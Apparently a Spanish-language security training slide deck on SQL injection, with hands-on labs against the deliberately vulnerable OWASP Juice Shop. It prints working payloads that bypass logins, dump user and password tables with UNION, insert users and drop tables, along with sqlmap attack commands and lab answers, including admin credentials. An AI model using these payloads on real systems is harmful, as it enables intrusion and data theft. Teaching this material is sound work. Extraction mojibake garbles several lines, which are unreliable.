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2013-A1 ςInyección(2017 RC idem)

ωEngañara la aplicaciónparaqueenvíecomandosal interprete

Inyecciónsignifica

ωRecibirStrings e interpretarlos comocomandos

ωSQL, OS Shell, LDAP, XPathΣ IƛōŜǊƴŀǘŜΣ ŜǘŎΧ

InterpretesΧ

ωMuchasaplicacionessiguensiendovulnerables

ωEssimple de evitar

Siguesiendoun riesgomuy comun

ωGrave. Toda la base de datospuedeserleida y/o modificada

ωPuedepermitir full access a bases de datos, usuarioso OS

Impactotípico



2013-A1 ςTiposde Inyección

ÅCommand Injection
ÅCode Injection
ÅLDAP Injection
ÅSQL Injection



Inyección

ÅPermitea los atacantesenviarcódigomaliciosoa
travésde la aplicaciónhaciaotrossistemas
ÅLa mejor forma de detectar si una aplicaciónes

vulnerablea inyecciónes verificar que todos los
interpreters separan claramente los datos no
confiablesdel comandoo consulta
ÅEstetipo de ataquesincluye llamadasal sistema

operativo, llamadas a programas desde
comandos de Shell o consultas a las BD del
backend



Inyección SQL

ÅEl atacante pude ejecutar código SQL
maliciosopudiendomodificarla Basede Datos
de la aplicaciónafectandosuintegridad.

ÅPuede permitir a un atacante sin acceso
autorizadoel accesoa informaciónsensible.

ÅUnatacantedebeconseguirun parámetroque
lleguehastala basededatos



InyecciónSQL
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"SELECT * FROM 

accounts WHERE 

acct=óô OR 1=1--

ô"

1. Presentaun formulario al 
atacante

2. El atacanteenvia un ataque
mediante el formulario

3. La aplicación redirecciona el 
ataque hacia la BD (sql query)

Account Summary

Acct:5424 - 6066 - 2134 - 4334

Acct:4128 - 7574 - 3921 - 0192

Acct:5424 - 9383 - 2039 - 4029

Acct:4128 - 0004 - 1234 - 0293

4. La Base de Datos ejecuta la 
query y envia la información
cifrada a la aplicación

5. La aplicación descifra la 
información y se la presenta al 
usuario

Account: 

SKU: 

Account: 

SKU: 



InyecciónSQL

˱ÆÏÒÍ ÍÅÔÈÏÄˮʏÐÏÓÔƧ 
action="http: //testasp.vulnweb.com/login.asp">
<input name=" tfUName" type="text" id=" tfUName">
<input name=" tfUPass " type="password" id=" tfUPass ">
</form>



InyecciónSQL

SELECT id
FROM logins
WHERE username = '$username'
!b5 ǇŀǎǎǿƻǊŘ Ґ ϥϷǇŀǎǎǿƻǊŘΩ



InyecciónSQL

SELECT id
FROM logins
WHERE username = 'Mateo'
AND password = 'cualquiera' OR 'x'='x'

ϥϷǇŀǎǎǿƻǊŘΩ



2013-A1 ςInyección



InyecciónSQL

SELECT title, description, body FROM items WHERE ID = 2

http://newspaper.com/items.php?id=2 and 1=2

SELECT title, description, body FROM items WHERE ID = 2 and 1=2

http://newspaper.com/items.php?id=2 and 1=1



InyecciónSQL

Time Based
http://www.site.com/vulnerable.php?idҐм  waitfor ŘŜƭŀȅ ΩллΥллΥмлς



Buscandousuarios

SELECT email, passwd, login_id, full_name
FROM users 
WHERE email = 'x' OR full_nameLIKE '%Mateo%';



Buscandocontraseñas

SELECT email, passwd, username, full_name
FROM users 
²I9w9 ŜƳŀƛƭ Ґ ΨƳŀǘŜƻϪǎǉƭƛΦŎƻƳϥ 
AND passwdҐ ΨǳǊǳƎǳŀȅнлмтϥΤ



Agregandousuarios

SELECT email, passwd, username, full_name
FROM users 
WHERE email = 'x'; 
INSERT INTO users 
('email','passwdϥΣΨǳǎŜǊƴŀƳŜϥΣϥfull_name') 
±![¦9{ όΨƳŀǘŜƻϪǎǉƭƛΦŎƻƳϥΣΨмнопϥΣΨƳŀǘŜƻϥΣΨaŀǘŜƻ 
Martinez');--';



Borrandola BD

SELECT email, passwd, username, full_name
FROM users 
WHERE email = 'x'; 
DROP TABLE members; --'; -- Ouch!



https://xkcd.com/327/



ContandoColumnas(Union Based)

Losataquesbasadosen UNIONpermiten extraer
fácilmenteinformaciónde la basede datos. Pero
el operadorUNIONsólosepuedeutilizarsi ambas
consultastienen la misma estructura exacta. El
atacante debe elaborar una instrucción SELECT
similar a la consultaoriginal. Sedebe conocerel
nombrede la tabla y sedebedeterminartambién
el númerode columnasy sutipo dedatos.



ContandoColumnas(Union Based)

SELECTname, description,price FROMproducts
WHEREcategory=1 ORDERBY2



Descubrirtiposde datos(Union Based)

SELECTname, description,price FROMproducts
WHEREcategory=1 UNIONSELECT'A', 'B', 3 FROM
all_tables

En pocascolumnasessimple,pero a medidaque
crece el número de columnas se hace más
complejo. Hay herramientascomo SQLMapque
automatizanel proceso.



SQL Injection Union Based attack

SELECTname, description,price FROMproducts
WHEREcategory=1 AND 1=2 UNION SELECT
username,password,1 FROMmembers

Incorporar una operación lógica falsa le asegura
al atacante datos limpios del ataque al estar
antesdel UNION.



Determinarel Tipode SQL Injection

ÅIdentificarla Inyección

ÅIdentificarel tipo de Inyección: 

ÅSTRING

ÅNUMERICO

ÅTipode ataque: 

ÅError-Based SQL Injection

ÅUnion-Based SQL Ijection

ÅBlind SQL Injection



TOOLS paraSQL Injection

ÅMieliekoek.pl (error)

ÅWpoison (error)

ÅSqlmap (blind and union)

ÅSapiti (error)

ÅW3af (error)

ÅParos (error)

ÅSqid (error)



LAB ςConfigurando ZAP



LAB ςOWASP Juice Shop

https://www.owasp.org/index.php/OWASP_Juice_Shop_Project

https://www.owasp.org/index.php/OWASP_Juice_Shop_Project


LAB ςConfigurando ZAP



Entendiendo el LAB con ZAP



Lab #1

Esǳƴ ƭŀō ŘŜ άcalentamientoέΧ debenencontrarel 
Score-Board de Juice Shop



Lab #1

Esǳƴ ƭŀō ŘŜ άcalentamientoέΧ debenencontrarel 
Score-Board de Juice Shop

Pista: Ver el códigofuente



Lab #1

Esǳƴ ƭŀō ŘŜ άcalentamientoέΧ Ƙŀȅ ǉǳŜ encontrarel 
Score-Board de Juice Shop

Pista: Ver el códigoFuente

Respuesta: /score-board



Lab #1



Lab #2

Generarun SQLiError Based



Lab #2

Generarun SQLiError Based

Pista: Vamosa generarun error todos juntos.
Ingresarcon un login llamadoƳŀƛƭΩ



Lab #2



Lab #3

Ingresara la plataformasin conocerun usuario



Lab #3



Lab #3



Lab #3

¿Y comollegóa seradmin?



Lab #3

¿Y comollegóa seradmin?

Respuesta: Funcionóel SELECT * FROM USERS, y el 
user ID #1 era justamenteel admin 



Lab #3

¿Y estainyecciónde dondesalió?



Lab #3

¿Y estode dondesalió?

tƛǎǘŀΥ tǊƻōŜƳƻǎ Ŏƻƴ ½!tΧ



Lab #3



Lab #3



Lab #3



Lab #3



Lab #4

Ingresarcomoel usuarioάōŜƴŘŜǊέ



Lab #4

Ingresarcomoel usuarioάōŜƴŘŜǊέ

Pista: bender@juice-sh.op'--
Transforma la consulta en:
SELECT * 
FROM USERS 
WHERE email='bender@juice-sh.op'

mailto:bender@juice-sh.op'--


Lab #4



Lab #4

¿Y sino me se el email?



Lab #4

¿Y sino se el email?

Pista: entoncesutilizer unaconsultasimilar a:
' or email like '%bender%' ; --



Lab #5

Accedercomoadmin sin hacerSQLi



Lab #5

Accedercomoadmin sin hacerSQLi

Pista: buscarclaves en sitioscomo: 
https://github.com/danielmiessler/SecLists/tree
/master/Passwords



Lab #5

Accedercomoadmin sin hacerSQLi

Pista: buscarclaves en sitioscomo: 
https://github.com/danielmiessler/SecLists/tree
/master/Passwords

Respuesta: admin@juice-sh.op/admin123

https://github.com/danielmiessler/SecLists/tree/master/Passwords


Lab #6

Vamosa instalarSQLMappara automatizar
ataques:

Ejecutar en la terminal:
#sudo apt-get installsqlmap



Lab #6

Una vez instalado ejecutar en la terminal:
#sqlmapςu 
ΨƘǘǘǇΥκκƭƻŎŀƭƘƻǎǘΥолллκrest/product/search?q=pr
ǳŜōŀΩ --level=2 ςǇ ΨǉΩ --dbmsҐΨsqliteΩ

https://github.com/sqlmapproject/sqlmap/wiki/Usage



Lab #6



Lab #6 ςParámetrossqlmaphttp
-v: verbosity level
--url: url a atacar
--user-agent: Custom User-Agent 
--delay: segundosentre HTTP(S) request
--timeout: segundosa esperar
--retries: reintentosdespuesde timeout
--keep-alive: conexionesHTTP(s) persistentes
--threads: HTTP(S) requests concurrentes
--eta: calculay muestrael tiempo
--batch: funcionamientopor defecto



Lab #6 ςParámetrossqlmapde auditoría

--dbms: define el motor de la BD
--os: define el OS del backend
--level: nivelde test (1 a 5, por defecto1)
--risk: riesgode lostest (1 a 3, por defecto1)
--banner: muestrael banner de la BD
--dbs: enumerala listade BD
--tables: enumeralas tablasde la BD
--technique: Técnicasutilizadasde SQLi



Lab #6 ςTiposde ataquessqlmap

B: Boolean-based blind SQL injection
E: Error-based SQL injection
U: UNION query SQL injection
S: Stacked queries SQL injection
T: Time-based blind SQL injection



Lab #6

sqlmap.py -v 2 --url=http://mysite.com/index --
user-agent=SQLMAP --delay=1 --timeout=15 --
retries=2 --keep-alive--threads=5 --eta --batch--
dbms=MySQL --os=Linux --level=5 --risk=4 --
banner --is-dba--dbs--tables --technique=BEUST 
-s /tmp/scan_report.txt --flush-session-t 
/ tmp/scan_trace.txt --fresh-queries> 
/ tmp/scan_out.txt

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap



Lab #6



Lab #7

Vamos a intentar de avanzar con UNION pero en 
forma manual sobre el formulario de búsqueda.

El primer paso va a ser pegar el resultado del 
payloadde SQLMapen nuestro campo de 
búsqueda.



Lab #7



Lab #7



Lab #7



Lab #7

' )) unionselect1,2,3,4,5,6,7,8 ; --



Lab #7

XXX' )) union select 1,name,name,4,5,6,7,8 FROM 
sqlite_masterWHERE type = 'table' ; --



Lab #7

XXX' )) union select 1,sql,sql,4,5,6,7,8 FROM 
sqlite_master
WHERE tbl_name= 'Users' AND type = 'table' ; --



Lab #7

XXX' )) union select id,password,email,4,5,6,7,8 
FROM Users ; --


